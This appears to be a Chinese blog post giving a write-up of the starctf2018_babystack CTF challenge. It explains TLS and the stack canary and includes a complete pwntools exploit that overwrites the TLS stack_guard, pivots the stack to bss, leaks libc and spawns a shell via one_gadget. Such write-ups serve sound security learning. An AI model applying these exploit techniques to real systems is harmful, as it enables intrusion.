starctf2018_babystack

刚刚搭了一个博客 随便写个刷题记录看看效果

本题主要考察的是TLS(Thread Local Storage) 线程局部存储,简单来说就是多个线程访问同一个全局变量或者静态变量可能会发生冲突,而这个机制类似于让每个线程都备份了一份全局变量或者静态变量,当前线程只能修改自己这份全局变量或者静态变量并不会影响其他线程的全局变量以及静态变量。

在glibc实现中,TLS被指向一个segment register fs(x86-64上),它的结构tcbhead_t定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;

本题思路是我们可以打一个栈迁移+rop执行read。就是先覆盖rbp为bss段上的地址,然后执行puts函数泄露libc,接着执行read函数往bss段上输入数据,最后执行leave ret完成栈迁移从而将执行流劫持到bss段上。一般的retlibc是返回到程序开头重新执行一遍程序。而程序开头会调栈 所以rbp可以直接被覆盖而不会出现错误。本题要栈迁移,所以把rbp赋上合适的值(也就是bss上)

​ 本题我们只要覆盖 TLS 中 Canary 的值,那么整个程序的 Canary 的值就是由我们来定的了,所以先来求stack_guard的地址 image-20250318194721447

栈上的 Canary 的值其实来自于 TLS(Thread Local Storage),在 64 位程序中,TLS 由 FS 寄存器指向,因此这里的 fs:28h 其实是 Canary 在 TLS 中的偏移

由动调知道输入位置为0x7a9bd0bfdea0,想要在gdb中获取子线程TLS的首地址可以执行x/x pthread_self()来查看。

image-20250318195352970

但注意还有0x28的偏移

或者用gdb通过p/x &((tcbhead_t)(pthread_self())).stack_guard来查看其地址。

image-20250318195632733

可以得到偏移为0x1848

image-20250318195603511

所以我们要填充到0x1848然后覆盖stack_guard控制canary

我们在bss段上写上system(“/bin/sh”)就可以了,但试了一下发生了段错误,导致无法getshell,所以就用 one_gadget来getshell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.arch='amd64'
context.log_level='debug'
p=remote("node5.buuoj.cn",26348)
e=ELF('./bs')
libc=ELF("./libc-2.27.so")
pop_rdi=0x0000000000400c03
pop_rsi_r15=0x0000000000400c01
leave_ret=0x0000000000400955
base = e.bss() + 0x500
#debug(p,0x400A7D)
#gdb.attach(p,'b *0x400a7d\nc')
p.sendlineafter("How many bytes do you want to send?",str(0x1850))
#pause()
payload=b'a'*0x1008+p64(0xdeadbeef)#0xdeadbeef is canary
payload+=p64(0x602030-8+0x180)#rbp
payload+=p64(pop_rdi)+p64(e.got['puts'])+p64(e.plt['puts'])
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x602030+0x180)+p64(0)+p64(e.plt['read'])+p64(leave_ret)
payload=payload.ljust(0x1848,b"a")
payload+=p64(0xdeadbeef)#TLS stack_guard
print(len(payload))
p.send(payload)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
#sys_addr = libc_base + libc.symbols['system']
#bin_sh_addr = libc_base +next(libc.search(b"/bin/sh"))
log.success("libc_base:0x%x"%libc_base)

p.send(p64(libc_base+0x4f322))
p.interactive()

image-20250318200639178

写的很简略只讲了大概的 以后有机会再改。具体知识不懂可以百度搜索相关内容。